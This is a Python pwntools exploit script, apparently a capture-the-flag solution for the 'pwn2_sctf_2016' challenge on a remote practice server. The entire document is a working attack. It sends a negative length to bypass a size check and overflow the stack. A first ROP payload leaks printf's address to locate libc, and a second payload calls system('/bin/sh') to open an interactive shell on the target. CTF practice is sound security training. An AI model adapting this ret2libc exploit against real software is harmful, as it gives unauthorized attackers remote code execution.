```
from pwn import *
from LibcSearcher import *

r = remote("node4.buuoj.cn", 29480)

# r = process("./pwn2_sctf_2016")

elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x080485B8
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)

print r.recvuntil('\n')
printf_addr = u32(r.recv(4))
print "printf:", hex(printf_addr)
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('\n')
payload = 'a' * 0x30 + p32(system) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()
```